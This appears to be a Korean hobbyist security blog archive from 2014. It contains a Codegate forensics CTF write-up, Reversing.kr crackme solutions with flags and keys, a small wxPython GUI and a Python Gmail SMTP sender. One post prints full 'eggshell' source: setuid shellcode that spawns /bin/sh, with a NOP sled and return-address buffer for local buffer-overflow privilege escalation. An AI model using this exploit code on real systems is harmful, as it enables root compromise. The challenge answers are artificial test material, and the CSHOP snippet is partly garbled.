2014년 2월 27일 목요일

Codegate 2014 weirdshark writeup / 풀이


pcap파일이 다운이 되고 wireshark로 열어보려하니까 다음과 같은 오류가 발생하였다.

검색결과 pcapfix, pcaprewrite같은 툴들이 있었지만, 헥스에디터로 열어서 간단하게 조작하여주었다.



 왼쪽의 사진은 복구하기전 즉 패킷길이와 패킷캡쳐길이가 맞지않는 오리지널 파일이고,
 오른쪽의 사진은 패킷길이와 패킷캡쳐길이를 같게해준후의 파일이다.
 
그후 wireshark로 분석하여 http로 전송되는 파일들을 다 export 한 결과, pdf파일이 있었다.




Ta Da!!



Flag = FORENSICS_WITH_HAXORS


Eggshell source code / 에그쉘 소스 (include setreuid)

eggshell.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid())
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_esp(void)
{
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
   char *buff, *ptr, *egg;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i, eggsize=DEFAULT_EGG_SIZE;

   if (argc > 1) bsize = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
   if (argc > 3) eggsize = atoi(argv[3]);

   if (!(buff = malloc(bsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   if (!(egg = malloc(eggsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   addr = get_esp() - offset;

   printf("Using address: 0x%x\n", addr);

   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
     *(addr_ptr++) = addr;

   ptr = egg;
   for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
     *(ptr++) = NOP;
   for(i = 0; i < strlen(shellcode); i++)
     *(ptr++) = shellcode[i];

   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';
   memcpy(egg,"EGG=",4);
   putenv(egg);
   memcpy(buff,"RET=",4);
   putenv(buff);
   system("/bin/bash");
}

2014년 2월 3일 월요일

Python wxpython gui programming / python gui 프로그램 만들기

심심해서 재미삼아 만들어보았다.





import wx

class TestFrame(wx.Frame):
def __init__(self,parent,id,title):
wx.Frame.__init__(self, parent, id, title, wx.DefaultPosition, wx.Size(580,512))
panel = wx.Panel(self,-1,(0,0),(300,400), style=wx.SUNKEN_BORDER)
self.picture=wx.StaticBitmap(panel)
panel.SetBackgroundColour(wx.WHITE)
self.picture.SetFocus()
self.picture.SetBitmap(wx.Bitmap('image/blah.bmp'))

class TestApp(wx.App):
def OnInit(self):
frame = TestFrame(None, -1, "bonjor mango")
frame.CenterOnScreen()
StatusBar = frame.CreateStatusBar()
StatusBar.SetStatusText('haha')

MenuBar = wx.MenuBar()
menu = wx.Menu()
menu.Append(wx.ID_EXIT, 'Exit\tAlt+q', 'exit')
MenuBar.Append(menu, '&General')

menu1 = wx.Menu()
menu1.Append(200, 'Test', 'menu')
menu1.Append(201, 'Copy', 'copy')
menu1.Append(202, 'Paste', 'paste')
MenuBar.Append(menu1, '&Edit')

menu2 = wx.Menu()
menu2.Append(wx.ID_OPEN, 'Open\tCtrl+o', 'open')
MenuBar.Append(menu2,'&fuck')

frame.SetMenuBar(MenuBar)

frame.Show(True)
return True

app = TestApp(0)
app.MainLoop()

[ Layer7 ] Layer7 홈페이지 / Layer7 Homepage

click : layer7.kr

Python SMTP email / 파이썬 메일

심심하길래 파이썬으로 재미있는 프로그램을 만들어 보았다.

평소 리눅스 텍스트모드에서 작업하다가 아이디어나 기억해야할것들이 생각나서 폰으로 메일을 보내거나, 메일을 키고 보내는 불편함을 가지고 있던 나는, 텍스트모드에서도 간단하게 메일을 보내고 싶었다.

우선 이름은 mango mail sender.
20분정도의 코딩과 설정후 성공적으로 메일이 보내지는것을 확인했다.


















#난 gmail lover 이기때문에 gmail사용자만 보낼수있게 하였다.

이렇게 자신의 메일주소, 비밀번호, 상대의 메일주소를 쓰면 굳이 메일에 들어가지 않아도 메일을 보낼수있다.

다시 지루해진 나는 굳이 mail.py가 들어있는 디렉토리가 아니여도 메일을 보낼수있도록 하기위해 
root@mango:/bin# cp /root/mail.py ./

그냥 나의 프로그램을 /bin에 넣어버렸다.(ㅋ)
그리고는 이름을 sendmail.py로 바꾸어 버렸고, .py가 붇는것이 보기싫어서 alias설정을 해버렸다.
root@mango:~# vi /etc/profile
root@mango:~# source /etc/profile
이렇게 alias 로 박아버린 나는 나의 하찮은 프로그램을 실행시켜보았다.




재미있다.

소스의 수준은 바닥이지만 올려놓고 반성하련다.


#!/usr/bin/python

from email.mime.text import MIMEText
from smtplib import *

me = ""
you = ""
host = "smtp.gmail.com"
pw = ""
sub = ""

def mailgo():
input_list = []
tosend = ""
while True:
input_str = raw_input(">")
if input_str == "#end":
break
else:
input_list.append(input_str)

for line in input_list:
tosend += line+"\n"

msg = MIMEText(tosend)
msg["Subject"] = sub
msg["From"] = me
msg["To"] = you
print "-----------------------------\nIn process..."
s=SMTP_SSL(host,465)
try:
s.login(me,pw)
s.sendmail(me,you,msg.as_string())
print "\nSent.\n"
except:
print "\nError.\n"
exit()
s.quit()

if __name__=='__main__':
me = raw_input("My email : ")
pw = raw_input("Email pw : ")
you = raw_input("-----------------------------\nEmail to : ")
sub = raw_input("-----------------------------\nTitle : ")
mailgo()

다음번엔 파일첨부도 가능하게 해서 내가 귀찮지않게 만들어야겠다.


Reversing.kr ransomeware 풀이

<upx로 패킹되어있으므로 언패킹한다.>
올리로 열어 분석한결과 file파일을 복호화하는 부분이 있었다.
그부분을 해석하자면,
0xFFFFFF-- ^ Key[i] ^ 0xFF = file[i] 이다. (--부분은 run.exe의 hex차례대로)

run.exe의 뒷부분을 보면 모조리 0x00으로 들어차있다.
0x00과 xor연산을 했다면 일정하게 반복될것이므로, file파일에서 반복되는부분을 찾아냈다.



enc = [0x93,0x9A,0x8B,0x8C,0x8F,0x93,0x9E,0x86,0x9C,0x97,0x9A,0x8C,0x8C]
data = 0x00
key = []
cnt=0
for i in range(len(enc)):
if cnt%13 == 0:
cnt=0
key.append(chr(enc[cnt]^(data^0xff)))
cnt+=1
print key


>>> letsplaychess
key를 악당에게 돈을 주지않고도 얻어내었으므로, ransomeware에 넣어본다.

그리고 file을 헥스에디터로 열어보니 헤더가 MZ..으로 시작했으므로 날렵하게 .exe파일로 바꾸어준후 실행하니 답이 나왔다.

Solved!

2014년 2월 1일 토요일

Reversing.kr Multiplicative 풀이

그냥 자바디컴파일을 한다.


// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3)
// Source File Name: JavaCrackMe.java

import java.io.PrintStream;

public class JavaCrackMe
{

public JavaCrackMe()
{
}

public static final synchronized volatile transient void main(String args[])
{
try
{
System.out.println("Reversing.Kr CrackMe!!");
System.out.println("-----------------------------");
System.out.println("The idea came out of the warsaw's crackme");
System.out.println("-----------------------------\n");
long l = Long.decode(args[0]).longValue();
l *= 26729L;
if(l == 0xeaaeb43e477b8487L)
System.out.println("Correct!");
else
System.out.println("Wrong");
}
catch(Exception exception)
{
System.out.println("Please enter a 64bit signed int");
}
}
}


힌트 : 수학;;

Reversing.kr CSHOP 풀이



private void ƒƒƒƒ_Click(object sender, EventArgs e)
{
this.lbl .Text = "W";
this.lbl
.Text = "5";
this.lbl
.Text = "4";
this.lbl .Text = "R";
this.lbl .Text = "E";
this.lbl .Text = "6";
this.lbl .Text = "M";
this.lblT.Text = "I";
this.lbl
.Text = "P";
this.lbl .Text = "S";
this.lblT.Text = "P";
this.lbl .Text = "6";
this.lbl .Text = "S";
}



이게끝일까?
정답...